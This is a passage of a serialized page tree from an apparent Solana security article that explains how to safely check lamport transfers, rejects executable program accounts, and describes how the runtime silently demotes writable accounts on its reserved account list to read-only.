loader-v4",{"type":28,"value":72686},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":56,"props":72688,"children":72690},{"className":72689},[],[72691],{"type":28,"value":72569},{"type":28,"value":72693}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":24,"props":72695,"children":72696},{},[72697,72699,72706,72708,72713],{"type":28,"value":72698},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":92,"props":72700,"children":72703},{"href":72701,"rel":72702},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[96],[72704],{"type":28,"value":72705},"migrate",{"type":28,"value":72707}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":56,"props":72709,"children":72711},{"className":72710},[],[72712],{"type":28,"value":72146},{"type":28,"value":72714}," restriction.",{"type":23,"tag":17874,"props":72716,"children":72718},{"id":72717},"fix-2-reject-program-accounts",[72719],{"type":28,"value":72720},"Fix 2: Reject Program Accounts",{"type":23,"tag":24,"props":72722,"children":72723},{},[72724],{"type":28,"value":72725},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":494,"props":72727,"children":72729},{"className":1957,"code":72728,"language":1956,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[72730],{"type":23,"tag":56,"props":72731,"children":72732},{"__ignoreMap":7},[72733,72809,72857,72873,72880,72919,72963,72987,73036,73064],{"type":23,"tag":504,"props":72734,"children":72735},{"class":506,"line":507},[72736,72740,72744,72749,72753,72757,72761,72765,72769,72773,72777,72781,72785,72789,72793,72797,72801,72805],{"type":23,"tag":504,"props":72737,"children":72738},{"style":511},[72739],{"type":28,"value":12671},{"type":23,"tag":504,"props":72741,"children":72742},{"style":511},[72743],{"type":28,"value":12676},{"type":23,"tag":504,"props":72745,"children":72746},{"style":517},[72747],{"type":28,"value":72748}," can_transfer_lamports",{"type":23,"tag":504,"props":72750,"children":72751},{"style":523},[72752],{"type":28,"value":526},{"type":23,"tag":504,"props":72754,"children":72755},{"style":529},[72756],{"type":28,"value":11934},{"type":23,"tag":504,"props":72758,"children":72759},{"style":598},[72760],{"type":28,"value":3472},{"type":23,"tag":504,"props":72762,"children":72763},{"style":598},[72764],{"type":28,"value":6125},{"type":23,"tag":504,"props":72766,"children":72767},{"style":1012},[72768],{"type":28,"value":13918},{"type":23,"tag":504,"props":72770,"children":72771},{"style":523},[72772],{"type":28,"value":576},{"type":23,"tag":504,"props":72774,"children":72775},{"style":529},[72776],{"type":28,"value":14492},{"type":23,"tag":504,"props":72778,"children":72779},{"style":598},[72780],{"type":28,"value":3472},{"type":23,"tag":504,"props":72782,"children":72783},{"style":1012},[72784],{"type":28,"value":4843},{"type":23,"tag":504,"props":72786,"children":72787},{"style":523},[72788],{"type":28,"value":2064},{"type":23,"tag":504,"props":72790,"children":72791},{"style":598},[72792],{"type":28,"value":12738},{"type":23,"tag":504,"props":72794,"children":72795},{"style":1012},[72796],{"type":28,"value":12743},{"type":23,"tag":504,"props":72798,"children":72799},{"style":523},[72800],{"type":28,"value":4789},{"type":23,"tag":504,"props":72802,"children":72803},{"style":1012},[72804],{"type":28,"value":28667},{"type":23,"tag":504,"props":72806,"children":72807},{"style":523},[72808],{"type":28,"value":6264},{"type":23,"tag":504,"props":72810,"children":72811},{"class":506,"line":540},[72812,72816,72821,72825,72829,72833,72837,72841,72845,72849,72853],{"type":23,"tag":504,"props":72813,"children":72814},{"style":511},[72815],{"type":28,"value":19248},{"type":23,"tag":504,"props":72817,"children":72818},{"style":517},[72819],{"type":28,"value":72820}," is_program",{"type":23,"tag":504,"props":72822,"children":72823},{"style":523},[72824],{"type":28,"value":526},{"type":23,"tag":504,"props":72826,"children":72827},{"style":529},[72828],{"type":28,"value":11934},{"type":23,"tag":504,"props":72830,"children":72831},{"style":598},[72832],{"type":28,"value":3472},{"type":23,"tag":504,"props":72834,"children":72835},{"style":598},[72836],{"type":28,"value":6125},{"type":23,"tag":504,"props":72838,"children":72839},{"style":1012},[72840],{"type":28,"value":13918},{"type":23,"tag":504,"props":72842,"children":72843},{"style":523},[72844],{"type":28,"value":2064},{"type":23,"tag":504,"props":72846,"children":72847},{"style":598},[72848],{"type":28,"value":12738},{"type":23,"tag":504,"props":72850,"children":72851},{"style":1012},[72852],{"type":28,"value":11032},{"type":23,"tag":504,"props":72854,"children":72855},{"style":523},[72856],{"type":28,"value":552},{"type":23,"tag":504,"props":72858,"children":72859},{"class":506,"line":555},[72860,72864,72868],{"type":23,"tag":504,"props":72861,"children":72862},{"style":529},[72863],{"type":28,"value":24151},{"type":23,"tag":504,"props":72865,"children":72866},{"style":598},[72867],{"type":28,"value":320},{"type":23,"tag":504,"props":72869,"children":72870},{"style":523},[72871],{"type":28,"value":72872},"executable\n",{"type":23,"tag":504,"props":72874,"children":72875},{"class":506,"line":633},[72876],{"type":23,"tag":504,"props":72877,"children":72878},{"style":523},[72879],{"type":28,"value":884},{"type":23,"tag":504,"props":72881,"children":72882},{"class":506,"line":687},[72883,72887,72891,72895,72899,72903,72907,72911,72915],{"type":23,"tag":504,"props":72884,"children":72885},{"style":511},[72886],{"type":28,"value":10769},{"type":23,"tag":504,"props":72888,"children":72889},{"style":529},[72890],{"type":28,"value":71640},{"type":23,"tag":504,"props":72892,"children":72893},{"style":598},[72894],{"type":28,"value":648},{"type":23,"tag":504,"props":72896,"children":72897},{"style":1012},[72898],{"type":28,"value":42447},{"type":23,"tag":504,"props":72900,"children":72901},{"style":598},[72902],{"type":28,"value":2457},{"type":23,"tag":504,"props":72904,"children":72905},{"style":517},[72906],{"type":28,"value":15330},{"type":23,"tag":504,"props":72908,"children":72909},{"style":523},[72910],{"type":28,"value":12860},{"type":23,"tag":504,"props":72912,"children":72913},{"style":598},[72914],{"type":28,"value":2133},{"type":23,"tag":504,"props":72916,"children":72917},{"style":523},[72918],{"type":28,"value":866},{"type":23,"tag":504,"props":72920,"children":72921},{"class":506,"line":736},[72922,72926,72931,72935,72939,72943,72947,72951,72955,72959],{"type":23,"tag":504,"props":72923,"children":72924},{"style":511},[72925],{"type":28,"value":10769},{"type":23,"tag":504,"props":72927,"children":72928},{"style":529},[72929],{"type":28,"value":72930}," balance_after",{"type":23,"tag":504,"props":72932,"children":72933},{"style":598},[72934],{"type":28,"value":648},{"type":23,"tag":504,"props":72936,"children":72937},{"style":529},[72938],{"type":28,"value":4464},{"type":23,"tag":504,"props":72940,"children":72941},{"style":598},[72942],{"type":28,"value":320},{"type":23,"tag":504,"props":72944,"children":72945},{"style":517},[72946],{"type":28,"value":14492},{"type":23,"tag":504,"props":72948,"children":72949},{"style":523},[72950],{"type":28,"value":13024},{"type":23,"tag":504,"props":72952,"children":72953},{"style":598},[72954],{"type":28,"value":1642},{"type":23,"tag":504,"props":72956,"children":72957},{"style":529},[72958],{"type":28,"value":71951},{"type":23,"tag":504,"props":72960,"children":72961},{"style":523},[72962],{"type":28,"value":866},{"type":23,"tag":504,"props":72964,"children":72965},{"class":506,"line":785},[72966,72970,72974,72978,72982],{"type":23,"tag":504,"props":72967,"children":72968},{"style":1012},[72969],{"type":28,"value":19471},{"type":23,"tag":504,"props":72971,"children":72972},{"style":523},[72973],{"type":28,"value":526},{"type":23,"tag":504,"props":72975,"children":72976},{"style":529},[72977],{"type":28,"value":11934},{"type":23,"tag":504,"props":72979,"children":72980},{"style":598},[72981],{"type":28,"value":320},{"type":23,"tag":504,"props":72983,"children":72984},{"style":523},[72985],{"type":28,"value":72986},"is_writable\n",{"type":23,"tag":504,"props":72988,"children":72989},{"class":506,"line":813},[72990,72994,72998,73002,73007,73011,73016,73020,73024,73028,73032],{"type":23,"tag":504,"props":72991,"children":72992},{"style":598},[72993],{"type":28,"value":14602},{"type":23,"tag":504,"props":72995,"children":72996},{"style":529},[72997],{"type":28,"value":71640},{"type":23,"tag":504,"props":72999,"children":73000},{"style":598},[73001],{"type":28,"value":320},{"type":23,"tag":504,"props":73003,"children":73004},{"style":517},[73005],{"type":28,"value":73006},"is_exempt",{"type":23,"tag":504,"props":73008,"children":73009},{"style":523},[73010],{"type":28,"value":526},{"type":23,"tag":504,"props":73012,"children":73013},{"style":529},[73014],{"type":28,"value":73015},"balance_after",{"type":23,"tag":504,"props":73017,"children":73018},{"style":523},[73019],{"type":28,"value":576},{"type":23,"tag":504,"props":73021,"children":73022},{"style":529},[73023],{"type":28,"value":11934},{"type":23,"tag":504,"props":73025,"children":73026},{"style":598},[73027],{"type":28,"value":320},{"type":23,"tag":504,"props":73029,"children":73030},{"style":517},[73031],{"type":28,"value":12787},{"type":23,"tag":504,"props":73033,"children":73034},{"style":523},[73035],{"type":28,"value":14641},{"type":23,"tag":504,"props":73037,"children":73038},{"class":506,"line":851},[73039,73043,73047,73052,73056,73060],{"type":23,"tag":504,"props":73040,"children":73041},{"style":598},[73042],{"type":28,"value":14602},{"type":23,"tag":504,"props":73044,"children":73045},{"style":598},[73046],{"type":28,"value":11845},{"type":23,"tag":504,"props":73048,"children":73049},{"style":517},[73050],{"type":28,"value":73051},"is_program",{"type":23,"tag":504,"props":73053,"children":73054},{"style":523},[73055],{"type":28,"value":526},{"type":23,"tag":504,"props":73057,"children":73058},{"style":529},[73059],{"type":28,"value":11934},{"type":23,"tag":504,"props":73061,"children":73062},{"style":523},[73063],{"type":28,"value":18694},{"type":23,"tag":504,"props":73065,"children":73066},{"class":506,"line":869},[73067],{"type":23,"tag":504,"props":73068,"children":73069},{"style":523},[73070],{"type":28,"value":884},{"type":23,"tag":24,"props":73072,"children":73073},{},[73074],{"type":28,"value":73075},"Now we’re safe...right?",{"type":23,"tag":82,"props":73077,"children":73079},{"id":73078},"bug-3-the-write-demotion-trap",[73080],{"type":28,"value":73081},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":24,"props":73083,"children":73084},{},[73085,73087,73092,73094,73099],{"type":28,"value":73086},"On Solana, accounts passed as ",{"type":23,"tag":296,"props":73088,"children":73089},{},[73090],{"type":28,"value":73091},"writable",{"type":28,"value":73093}," in a transaction can be ",{"type":23,"tag":296,"props":73095,"children":73096},{},[73097],{"type":28,"value":73098},"silently downgraded to read-only",{"type":28,"value":73100},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":24,"props":73102,"children":73103},{},[73104,73106,73113],{"type":28,"value":73105},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":92,"props":73107,"children":73110},{"href":73108,"rel":73109},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[96],[73111],{"type":28,"value":73112},"MessageV0",{"type":28,"value":73114},", but legacy is simpler to follow):",{"type":23,"tag":494,"props":73116,"children":73118},{"className":1957,"code":73117,"language":1956,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[73119],{"type":23,"tag":56,"props":73120,"children":73121},{"__ignoreMap":7},[73122,73130,73154,73242,73263,73275,73291,73307,73355,73384,73438,73474,73482,73519,73531,73569,73581,73588,73595,73602,73609,73617,73677,73730],{"type":23,"tag":504,"props":73123,"children":73124},{"class":506,"line":507},[73125],{"type":23,"tag":504,"props":73126,"children":73127},{"style":1106},[73128],{"type":28,"value":73129},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":504,"props":73131,"children":73132},{"class":506,"line":540},[73133,73137,73142,73146,73150],{"type":23,"tag":504,"props":73134,"children":73135},{"style":511},[73136],{"type":28,"value":27175},{"type":23,"tag":504,"props":73138,"children":73139},{"style":1012},[73140],{"type":28,"value":73141}," LegacyMessage",{"type":23,"tag":504,"props":73143,"children":73144},{"style":523},[73145],{"type":28,"value":21904},{"type":23,"tag":504,"props":73147,"children":73148},{"style":1012},[73149],{"type":28,"value":2059},{"type":23,"tag":504,"props":73151,"children":73152},{"style":523},[73153],{"type":28,"value":6264},{"type":23,"tag":504,"props":73155,"children":73156},{"class":506,"line":555},[73157,73161,73165,73169,73173,73177,73181,73186,73190,73195,73199,73204,73208,73212,73217,73221,73225,73229,73233,73238],{"type":23,"tag":504,"props":73158,"children":73159},{"style":511},[73160],{"type":28,"value":19824},{"type":23,"tag":504,"props":73162,"children":73163},{"style":511},[73164],{"type":28,"value":12676},{"type":23,"tag":504,"props":73166,"children":73167},{"style":517},[73168],{"type":28,"value":30911},{"type":23,"tag":504,"props":73170,"children":73171},{"style":523},[73172],{"type":28,"value":526},{"type":23,"tag":504,"props":73174,"children":73175},{"style":529},[73176],{"type":28,"value":67017},{"type":23,"tag":504,"props":73178,"children":73179},{"style":598},[73180],{"type":28,"value":3472},{"type":23,"tag":504,"props":73182,"children":73183},{"style":523},[73184],{"type":28,"value":73185}," legacy",{"type":23,"tag":504,"props":73187,"children":73188},{"style":598},[73189],{"type":28,"value":2457},{"type":23,"tag":504,"props":73191,"children":73192},{"style":1012},[73193],{"type":28,"value":73194},"Message",{"type":23,"tag":504,"props":73196,"children":73197},{"style":523},[73198],{"type":28,"value":576},{"type":23,"tag":504,"props":73200,"children":73201},{"style":529},[73202],{"type":28,"value":73203},"reserved_account_keys",{"type":23,"tag":504,"props":73205,"children":73206},{"style":598},[73207],{"type":28,"value":3472},{"type":23,"tag":504,"props":73209,"children":73210},{"style":598},[73211],{"type":28,"value":6125},{"type":23,"tag":504,"props":73213,"children":73214},{"style":1012},[73215],{"type":28,"value":73216},"HashSet",{"type":23,"tag":504,"props":73218,"children":73219},{"style":523},[73220],{"type":28,"value":4789},{"type":23,"tag":504,"props":73222,"children":73223},{"style":1012},[73224],{"type":28,"value":20379},{"type":23,"tag":504,"props":73226,"children":73227},{"style":523},[73228],{"type":28,"value":19428},{"type":23,"tag":504,"props":73230,"children":73231},{"style":598},[73232],{"type":28,"value":12738},{"type":23,"tag":504,"props":73234,"children":73235},{"style":511},[73236],{"type":28,"value":73237}," Self",{"type":23,"tag":504,"props":73239,"children":73240},{"style":523},[73241],{"type":28,"value":552},{"type":23,"tag":504,"props":73243,"children":73244},{"class":506,"line":633},[73245,73249,73254,73258],{"type":23,"tag":504,"props":73246,"children":73247},{"style":511},[73248],{"type":28,"value":2041},{"type":23,"tag":504,"props":73250,"children":73251},{"style":529},[73252],{"type":28,"value":73253}," is_writable_account_cache",{"type":23,"tag":504,"props":73255,"children":73256},{"style":598},[73257],{"type":28,"value":648},{"type":23,"tag":504,"props":73259,"children":73260},{"style":529},[73261],{"type":28,"value":73262}," message\n",{"type":23,"tag":504,"props":73264,"children":73265},{"class":506,"line":687},[73266,73270],{"type":23,"tag":504,"props":73267,"children":73268},{"style":598},[73269],{"type":28,"value":2145},{"type":23,"tag":504,"props":73271,"children":73272},{"style":523},[73273],{"type":28,"value":73274},"account_keys\n",{"type":23,"tag":504,"props":73276,"children":73277},{"class":506,"line":736},[73278,73282,73287],{"type":23,"tag":504,"props":73279,"children":73280},{"style":598},[73281],{"type":28,"value":2145},{"type":23,"tag":504,"props":73283,"children":73284},{"style":517},[73285],{"type":28,"value":73286},"iter",{"type":23,"tag":504,"props":73288,"children":73289},{"style":523},[73290],{"type":28,"value":1156},{"type":23,"tag":504,"props":73292,"children":73293},{"class":506,"line":785},[73294,73298,73303],{"type":23,"tag":504,"props":73295,"children":73296},{"style":598},[73297],{"type":28,"value":2145},{"type":23,"tag":504,"props":73299,"children":73300},{"style":517},[73301],{"type":28,"value":73302},"enumerate",{"type":23,"tag":504,"props":73304,"children":73305},{"style":523},[73306],{"type":28,"value":1156},{"type":23,"tag":504,"props":73308,"children":73309},{"class":506,"line":813},[73310,73314,73318,73322,73326,73330,73334,73338,73343,73347,73351],{"type":23,"tag":504,"props":73311,"children":73312},{"style":598},[73313],{"type":28,"value":2145},{"type":23,"tag":504,"props":73315,"children":73316},{"style":517},[73317],{"type":28,"value":66082},{"type":23,"tag":504,"props":73319,"children":73320},{"style":523},[73321],{"type":28,"value":526},{"type":23,"tag":504,"props":73323,"children":73324},{"style":598},[73325],{"type":28,"value":9397},{"type":23,"tag":504,"props":73327,"children":73328},{"style":523},[73329],{"type":28,"value":526},{"type":23,"tag":504,"props":73331,"children":73332},{"style":529},[73333],{"type":28,"value":2716},{"type":23,"tag":504,"props":73335,"children":73336},{"style":523},[73337],{"type":28,"value":576},{"type":23,"tag":504,"props":73339,"children":73340},{"style":529},[73341],{"type":28,"value":73342},"_key",{"type":23,"tag":504,"props":73344,"children":73345},{"style":523},[73346],{"type":28,"value":2105},{"type":23,"tag":504,"props":73348,"children":73349},{"style":598},[73350],{"type":28,"value":9397},{"type":23,"tag":504,"props":73352,"children":73353},{"style":523},[73354],{"type":28,"value":552},{"type":23,"tag":504,"props":73356,"children":73357},{"class":506,"line":851},[73358,73363,73367,73372,73376,73380],{"type":23,"tag":504,"props":73359,"children":73360},{"style":529},[73361],{"type":28,"value":73362},"                message",{"type":23,"tag":504,"props":73364,"children":73365},{"style":598},[73366],{"type":28,"value":320},{"type":23,"tag":504,"props":73368,"children":73369},{"style":517},[73370],{"type":28,"value":73371},"is_writable_index",{"type":23,"tag":504,"props":73373,"children":73374},{"style":523},[73375],{"type":28,"value":526},{"type":23,"tag":504,"props":73377,"children":73378},{"style":529},[73379],{"type":28,"value":2716},{"type":23,"tag":504,"props":73381,"children":73382},{"style":523},[73383],{"type":28,"value":1192},{"type":23,"tag":504,"props":73385,"children":73386},{"class":506,"line":869},[73387,73392,73396,73400,73404,73409,73413,73417,73421,73425,73430,73434],{"type":23,"tag":504,"props":73388,"children":73389},{"style":598},[73390],{"type":28,"value":73391},"                    &&",{"type":23,"tag":504,"props":73393,"children":73394},{"style":598},[73395],{"type":28,"value":11845},{"type":23,"tag":504,"props":73397,"children":73398},{"style":529},[73399],{"type":28,"value":73203},{"type":23,"tag":504,"props":73401,"children":73402},{"style":598},[73403],{"type":28,"value":320},{"type":23,"tag":504,"props":73405,"children":73406},{"style":517},[73407],{"type":28,"value":73408},"contains",{"type":23,"tag":504,"props":73410,"children":73411},{"style":523},[73412],{"type":28,"value":526},{"type":23,"tag":504,"props":73414,"children":73415},{"style":598},[73416],{"type":28,"value":2086},{"type":23,"tag":504,"props":73418,"children":73419},{"style":529},[73420],{"type":28,"value":67017},{"type":23,"tag":504,"props":73422,"children":73423},{"style":598},[73424],{"type":28,"value":320},{"type":23,"tag":504,"props":73426,"children":73427},{"style":523},[73428],{"type":28,"value":73429},"account_keys[",{"type":23,"tag":504,"props":73431,"children":73432},{"style":529},[73433],{"type":28,"value":2716},{"type":23,"tag":504,"props":73435,"children":73436},{"style":523},[73437],{"type":28,"value":54419},{"type":23,"tag":504,"props":73439,"children":73440},{"class":506,"line":878},[73441,73445,73449,73453,73457,73462,73466,73470],{"type":23,"tag":504,"props":73442,"children":73443},{"style":598},[73444],{"type":28,"value":73391},{"type":23,"tag":504,"props":73446,"children":73447},{"style":598},[73448],{"type":28,"value":11845},{"type":23,"tag":504,"props":73450,"children":73451},{"style":529},[73452],{"type":28,"value":67017},{"type":23,"tag":504,"props":73454,"children":73455},{"style":598},[73456],{"type":28,"value":320},{"type":23,"tag":504,"props":73458,"children":73459},{"style":517},[73460],{"type":28,"value":73461},"demote_program_id",{"type":23,"tag":504,"props":73463,"children":73464},{"style":523},[73465],{"type":28,"value":526},{"type":23,"tag":504,"props":73467,"children":73468},{"style":529},[73469],{"type":28,"value":2716},{"type":23,"tag":504,"props":73471,"children":73472},{"style":523},[73473],{"type":28,"value":1192},{"type":23,"tag":504,"props":73475,"children":73476},{"class":506,"line":1221},[73477],{"type":23,"tag":504,"props":73478,"children":73479},{"style":523},[73480],{"type":28,"value":73481},"            })\n",{"type":23,"tag":504,"props":73483,"children":73484},{"class":506,"line":1276},[73485,73489,73494,73498,73502,73506,73510,73514],{"type":23,"tag":504,"props":73486,"children":73487},{"style":598},[73488],{"type":28,"value":2145},{"type":23,"tag":504,"props":73490,"children":73491},{"style":517},[73492],{"type":28,"value":73493},"collect",{"type":23,"tag":504,"props":73495,"children":73496},{"style":598},[73497],{"type":28,"value":2457},{"type":23,"tag":504,"props":73499,"children":73500},{"style":523},[73501],{"type":28,"value":4789},{"type":23,"tag":504,"props":73503,"children":73504},{"style":1012},[73505],{"type":28,"value":16190},{"type":23,"tag":504,"props":73507,"children":73508},{"style":523},[73509],{"type":28,"value":4789},{"type":23,"tag":504,"props":73511,"children":73512},{"style":529},[73513],{"type":28,"value":2059},{"type":23,"tag":504,"props":73515,"children":73516},{"style":523},[73517],{"type":28,"value":73518},">>();\n",{"type":23,"tag":504,"props":73520,"children":73521},{"class":506,"line":1285},[73522,73527],{"type":23,"tag":504,"props":73523,"children":73524},{"style":511},[73525],{"type":28,"value":73526},"        Self",{"type":23,"tag":504,"props":73528,"children":73529},{"style":523},[73530],{"type":28,"value":552},{"type":23,"tag":504,"props":73532,"children":73533},{"class":506,"line":1294},[73534,73539,73543,73548,73552,73557,73561,73565],{"type":23,"tag":504,"props":73535,"children":73536},{"style":529},[73537],{"type":28,"value":73538},"            message",{"type":23,"tag":504,"props":73540,"children":73541},{"style":598},[73542],{"type":28,"value":3472},{"type":23,"tag":504,"props":73544,"children":73545},{"style":1012},[73546],{"type":28,"value":73547}," Cow",{"type":23,"tag":504,"props":73549,"children":73550},{"style":598},[73551],{"type":28,"value":2457},{"type":23,"tag":504,"props":73553,"children":73554},{"style":517},[73555],{"type":28,"value":73556},"Owned",{"type":23,"tag":504,"props":73558,"children":73559},{"style":523},[73560],{"type":28,"value":526},{"type":23,"tag":504,"props":73562,"children":73563},{"style":529},[73564],{"type":28,"value":67017},{"type":23,"tag":504,"props":73566,"children":73567},{"style":523},[73568],{"type":28,"value":5720},{"type":23,"tag":504,"props":73570,"children":73571},{"class":506,"line":1302},[73572,73577],{"type":23,"tag":504,"props":73573,"children":73574},{"style":529},[73575],{"type":28,"value":73576},"            is_writable_account_cache",{"type":23,"tag":504,"props":73578,"children":73579},{"style":523},[73580],{"type":28,"value":2484},{"type":23,"tag":504,"props":73582,"children":73583},{"class":506,"line":1311},[73584],{"type":23,"tag":504,"props":73585,"children":73586},{"style":523},[73587],{"type":28,"value":1291},{"type":23,"tag":504,"props":73589,"children":73590},{"class":506,"line":1334},[73591],{"type":23,"tag":504,"props":73592,"children":73593},{"style":523},[73594],{"type":28,"value":875},{"type":23,"tag":504,"props":73596,"children":73597},{"class":506,"line":1370},[73598],{"type":23,"tag":504,"props":73599,"children":73600},{"style":523},[73601],{"type":28,"value":884},{"type":23,"tag":504,"props":73603,"children":73604},{"class":506,"line":1384},[73605],{"type":23,"tag":504,"props":73606,"children":73607},{"emptyLinePlaceholder":16},[73608],{"type":28,"value":1038},{"type":23,"tag":504,"props":73610,"children":73611},{"class":506,"line":1392},[73612],{"type":23,"tag":504,"props":73613,"children":73614},{"style":1106},[73615],{"type":28,"value":73616},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":504,"props":73618,"children":73619},{"class":506,"line":1400},[73620,73624,73628,73633,73637,73641,73645,73649,73653,73657,73661,73665,73669,73673],{"type":23,"tag":504,"props":73621,"children":73622},{"style":511},[73623],{"type":28,"value":12671},{"type":23,"tag":504,"props":73625,"children":73626},{"style":511},[73627],{"type":28,"value":12676},{"type":23,"tag":504,"props":73629,"children":73630},{"style":517},[73631],{"type":28,"value":73632}," demote_program_id",{"type":23,"tag":504,"props":73634,"children":73635},{"style":523},[73636],{"type":28,"value":526},{"type":23,"tag":504,"props":73638,"children":73639},{"style":598},[73640],{"type":28,"value":2086},{"type":23,"tag":504,"props":73642,"children":73643},{"style":511},[73644],{"type":28,"value":12694},{"type":23,"tag":504,"props":73646,"children":73647},{"style":523},[73648],{"type":28,"value":576},{"type":23,"tag":504,"props":73650,"children":73651},{"style":529},[73652],{"type":28,"value":2716},{"type":23,"tag":504,"props":73654,"children":73655},{"style":598},[73656],{"type":28,"value":3472},{"type":23,"tag":504,"props":73658,"children":73659},{"style":1012},[73660],{"type":28,"value":12712},{"type":23,"tag":504,"props":73662,"children":73663},{"style":523},[73664],{"type":28,"value":2064},{"type":23,"tag":504,"props":73666,"children":73667},{"style":598},[73668],{"type":28,"value":12738},{"type":23,"tag":504,"props":73670,"children":73671},{"style":1012},[73672],{"type":28,"value":11032},{"type":23,"tag":504,"props":73674,"children":73675},{"style":523},[73676],{"type":28,"value":552},{"type":23,"tag":504,"props":73678,"children":73679},{"class":506,"line":1422},[73680,73684,73688,73693,73697,73701,73705,73709,73713,73717,73721,73726],{"type":23,"tag":504,"props":73681,"children":73682},{"style":511},[73683],{"type":28,"value":19767},{"type":23,"tag":504,"props":73685,"children":73686},{"style":598},[73687],{"type":28,"value":320},{"type":23,"tag":504,"props":73689,"children":73690},{"style":517},[73691],{"type":28,"value":73692},"is_key_called_as_program",{"type":23,"tag":504,"props":73694,"children":73695},{"style":523},[73696],{"type":28,"value":526},{"type":23,"tag":504,"props":73698,"children":73699},{"style":529},[73700],{"type":28,"value":2716},{"type":23,"tag":504,"props":73702,"children":73703},{"style":523},[73704],{"type":28,"value":2064},{"type":23,"tag":504,"props":73706,"children":73707},{"style":598},[73708],{"type":28,"value":71946},{"type":23,"tag":504,"props":73710,"children":73711},{"style":598},[73712],{"type":28,"value":11845},{"type":23,"tag":504,"props":73714,"children":73715},{"style":511},[73716],{"type":28,"value":12694},{"type":23,"tag":504,"props":73718,"children":73719},{"style":598},[73720],{"type":28,"value":320},{"type":23,"tag":504,"props":73722,"children":73723},{"style":517},[73724],{"type":28,"value":73725},"is_upgradeable_loader_present",{"type":23,"tag":504,"props":73727,"children":73728},{"style":523},[73729],{"type":28,"value":1156},{"type":23,"tag":504,"props":73731,"children":73732},{"class":506,"line":1450},[73733],{"type":23,"tag":504,"props":73734,"children":73735},{"style":523},[73736],{"type":28,"value":884},{"type":23,"tag":24,"props":73738,"children":73739},{},[73740],{"type":28,"value":73741},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":41,"props":73743,"children":73744},{},[73745,73757],{"type":23,"tag":45,"props":73746,"children":73747},{},[73748,73750],{"type":28,"value":73749},"The account appears in the ",{"type":23,"tag":92,"props":73751,"children":73754},{"href":73752,"rel":73753},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[96],[73755],{"type":28,"value":73756},"reserved account list",{"type":23,"tag":45,"props":73758,"children":73759},{},[73760],{"type":28,"value":73761},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":24,"props":73763,"children":73764},{},[73765],{"type":28,"value":73766},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":24,"props":73768,"children":73769},{},[73770],{"type":28,"value":73771},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":17874,"props":73773,"children":73775},{"id":73774},"the-reserved-account-list",[73776],{"type":28,"value":73777},"The Reserved Account List",{"type":23,"tag":24,"props":73779,"children":73780},{},[73781,73783,73788],{"type":28,"value":73782},"The Solana runtime maintains a ",{"type":23,"tag":92,"props":73784,"children":73786},{"href":73752,"rel":73785},[96],[73787],{"type":28,"value":73756},{"type":28,"value":73789},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":24,"props":73791,"children":73792},{},[73793,73795,73802,73804,73809],{"type":28,"value":73794},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":92,"props":73796,"children":73799},{"href":73797,"rel":73798},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[96],[73800],{"type":28,"value":73801},"feature gate is actived",{"type":28,"value":73803},", the runtime will ",{"type":23,"tag":296,"props":73805,"children":73806},{},[73807],{"type":28,"value":73808},"automatically demote them to read-only",{"type":28,"value":73810},", even if the transaction marked them as writable.",{"type":23,"tag":494,"props":73812,"children":73814},{"className":1957,"code":73813,"language":1956,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[73815],{"type":23,"tag":56,"props":73816,"children":73817},{"__ignoreMap":7},[73818,73826,73834,73858,73912,73950,73979],{"type":23,"tag":504,"props":73819,"children":73820},{"class":506,"line":507},[73821],{"type":23,"tag":504,"props":73822,"children":73823},{"style":1106},[73824],{"type":28,"value":73825},"// 